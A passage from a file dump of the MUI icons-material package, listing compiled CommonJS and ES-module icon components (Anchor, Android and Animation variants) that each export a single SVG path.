    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'Anchor');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H9c-.55 0-1 .45-1 1s.45 1 1 1h2v8.92c-2.22-.33-4.59-1.68-5.55-3.37l1.14-1.14c.22-.22.19-.57-.05-.75L3.8 12.6c-.33-.25-.8-.01-.8.4v2c0 3.88 4.92 7 9 7s9-3.12 9-7v-2c0-.41-.47-.65-.8-.4l-2.74 2.05c-.24.18-.27.54-.05.75l1.14 1.14c-.96 1.69-3.33 3.04-5.55 3.37V11h2c.55 0 1-.45 1-1s-.45-1-1-1zm-1-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H9c-.55 0-1 .45-1 1s.45 1 1 1h2v8.92c-2.22-.33-4.59-1.68-5.55-3.37l1.14-1.14c.22-.22.19-.57-.05-.75L3.8 12.6c-.33-.25-.8-.01-.8.4v2c0 3.88 4.92 7 9 7s9-3.12 9-7v-2c0-.41-.47-.65-.8-.4l-2.74 2.05c-.24.18-.27.54-.05.75l1.14 1.14c-.96 1.69-3.33 3.04-5.55 3.37V11h2c.55 0 1-.45 1-1s-.45-1-1-1zm-1-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnchorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17 15 1.55 1.55c-.96 1.69-3.33 3.04-5.55 3.37V11h3V9h-3V7.82C14.16 7.4 15 6.3 15 5c0-1.65-1.35-3-3-3S9 3.35 9 5c0 1.3.84 2.4 2 2.82V9H8v2h3v8.92c-2.22-.33-4.59-1.68-5.55-3.37L7 15l-4-3v3c0 3.88 4.92 7 9 7s9-3.12 9-7v-3zM12 4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1\"\n}), 'AnchorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Android.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'Android');"
  },
  {
    "path": "packages/mui-icons-material/lib/Android.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'Android');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AndroidTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.6 9.48 1.84-3.18c.16-.31.04-.69-.26-.85-.29-.15-.65-.06-.83.22l-1.88 3.24c-2.86-1.21-6.08-1.21-8.94 0L5.65 5.67c-.19-.29-.58-.38-.87-.2-.28.18-.37.54-.22.83L6.4 9.48C3.3 11.25 1.28 14.44 1 18h22c-.28-3.56-2.3-6.75-5.4-8.52M7 15.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m10 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25\"\n}), 'AndroidTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Animation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'Animation');"
  },
  {
    "path": "packages/mui-icons-material/lib/Animation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'Animation');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'AnimationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'AnimationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'AnimationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'AnimationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2c-2.71 0-5.05 1.54-6.22 3.78-1.28.67-2.34 1.72-3 3C3.54 9.95 2 12.29 2 15c0 3.87 3.13 7 7 7 2.71 0 5.05-1.54 6.22-3.78 1.28-.67 2.34-1.72 3-3C20.46 14.05 22 11.71 22 9c0-3.87-3.13-7-7-7M9 20c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.87 3.13 7 7 7-.84.63-1.88 1-3 1m3-3c-2.76 0-5-2.24-5-5 0-1.12.37-2.16 1-3 0 3.86 3.13 6.99 7 7-.84.63-1.88 1-3 1m4.7-3.3c-.53.19-1.1.3-1.7.3-2.76 0-5-2.24-5-5 0-.6.11-1.17.3-1.7.53-.19 1.1-.3 1.7-.3 2.76 0 5 2.24 5 5 0 .6-.11 1.17-.3 1.7M19 12c0-3.86-3.13-6.99-7-7 .84-.63 1.87-1 3-1 2.76 0 5 2.24 5 5 0 1.12-.37 2.16-1 3\"\n}), 'AnimationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AnimationSharp.mjs",
